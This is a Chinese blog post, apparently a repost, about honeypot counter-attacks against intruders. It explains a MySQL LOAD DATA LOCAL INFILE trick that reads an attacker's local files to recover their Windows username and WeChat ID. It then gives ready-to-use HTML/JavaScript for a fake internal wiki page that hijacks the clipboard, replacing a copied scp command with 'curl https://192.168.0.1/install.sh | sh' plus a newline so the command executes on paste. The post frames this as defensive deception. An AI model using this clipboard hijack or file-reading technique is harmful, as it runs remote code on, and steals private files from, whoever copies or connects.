zoukankan      html  css  js  c++  java
  • 从《MySQL蜜罐攻击反制微信ID》中的启发与复现

    起因

    看了《MySQL蜜罐获取攻击者微信ID》(Reference[2])一文之后,觉得思路非常新颖,溯源反制本就不该局限,需要灵活应用。

    大致概述下 《MySQL蜜罐获取攻击者微信ID》所介绍的反制思路

    需要知道反制思路的前提,需要对MySQL LOCAL INFILE漏洞原理有一定了解。

    LOAD DATA LOCAL INFILE 'C:WINDOWSsystem32driversetchosts' INTO TABLE test FIELDS TERMINATED BY 'n';

    当客户端链接上MySQL服务端并执行这条指令的时候,客户端会向服务端发送一条查询报文:

     MySQL服务端从客户端那边收到查询报文,是一个读取本地文件到MySQL表的执行语句,则MySQL需要返回一条“你要插入的文件hosts内容是什么”的报文给客户端

     至此,客户端读取内容,并返送给MySQL服务器

     所以漏洞的成因很简单,蜜罐伪装成存在弱口令的MySQL服务器,当攻击者爆破出用户必会通过链接工具进行链接。

    此时程序再通过漏洞读取C:WindowsPFRO.log文件获取Username

    再通过Username结合得到微信路径'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data',拿到微信ID

    文中给出利用程序地址:https://github.com/qigpig/MysqlHoneypot/blob/master/evalServer.py

    思考

    其实写这篇文章的目的,是对二代蜜罐的反制发展的一个思考面,攻击反制不能依赖于现状!

    这里就顺便写一下我的反制思路

    随着现在攻防愈加激烈,很多攻击方已经做到了办公—渗透环境分离,但是根据我多次使用虚拟机的情况,大都数攻击者都有个通病,就是会开启剪贴板互通功能。

    所以我的切入点还是在网页上,以劫持剪贴板的方式来迷惑攻击者粘贴指定payload指令到剪贴板上

     但是这样一来就能劫持攻击者的剪贴板,但是目前还有2个问题!

    1.如何确定攻击者是剪贴到浏览器或者终端命令行,而不是记事本这类目标。

    2.攻击者不管复制什么都会被劫持成我们的payload,如此一来太明显了

    孙子兵法有云:"水因地而制流,兵因敌而制胜.故兵无常势,水无常形",故而可以局限的方式限制攻击者的思维,引导攻击者的攻击思路!

    1.伪装成一个命令指令,攻击者想来复制这条指令,那么执行对象必定是终端命令行了

    2.监听事件中做个判断,只针对带有命令的内容进行劫持

    现在我们来实操一下:

    <html>
    <head>
        <title>xxx公司内部Wiki文档</title>
        <script src="https://common.cnblogs.com/scripts/jquery-2.2.0.min.js"></script>
    </head>
    <body>
        <script type="text/javascript">
            $(document.body).bind({
                copy: function(e) {//copy事件
                    let cpTxt = "curl https://192.168.0.1/install.sh | sh 
    "; //payload
                    let clipboardData = e.clipboardData || window.clipboardData; //for IE
                    if (!clipboardData) { // for chrome
                        clipboardData = e.originalEvent.clipboardData;
                    }
                    let result = "";
                    if(window.getSelection().toString() == "scp xxx.tar root@192.168.0.1:/xxx.tar"){
                        result = cpTxt;
                    }else{
                        result = window.getSelection().toString();
                    }
                    clipboardData.setData('Text', result);
                                return false;//否则设不生效
                }});
        </script>
        <h1>xxx程序下载指令</h1>
        <h3>下载指令:</h3>
        <p>scp xxx.tar root@192.168.0.1:/xxx.tar</p>
        <h3>登录密码:123456</h3>
    </body>
    
    </html>

     这里感谢我的好友@花与海 给我提出的建议,让我在命令后面直接加上 ,使其粘贴在命令行后可自动执行。

    上述demo只针对scp这条指令做劫持替换,对我复制123456的操作不做任何改动,很好的隐蔽了反制的目的性。

    附上动态测试图:

    Reference:

    [1].https://www.colabug.com/2019/0408/5936906/

    [2].https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg

    [3].https://github.com/qigpig/MysqlHoneypot

    [4].https://www.cnblogs.com/mmykdbc/p/7977985.html

  • 相关阅读:
    TED_Topic9:How we're priming some kids for college — and others for prison
    TED_Topic8:How to control someone else's arm with your brain
    ML—随机森林·1
    ML—R常用多元统计分析包(持续更新中……)
    ML—机器学习常用包(持续更新….)
    TED_Topic7:How we unearthed the spinosaurus
    R9—R常用函数分类汇总
    将博客搬至CSDN
    产品经理读书笔记(一)
    Python数据结构:集合
  • 原文地址:https://www.cnblogs.com/wh4am1/p/13571911.html
Copyright © 2011-2022 走看看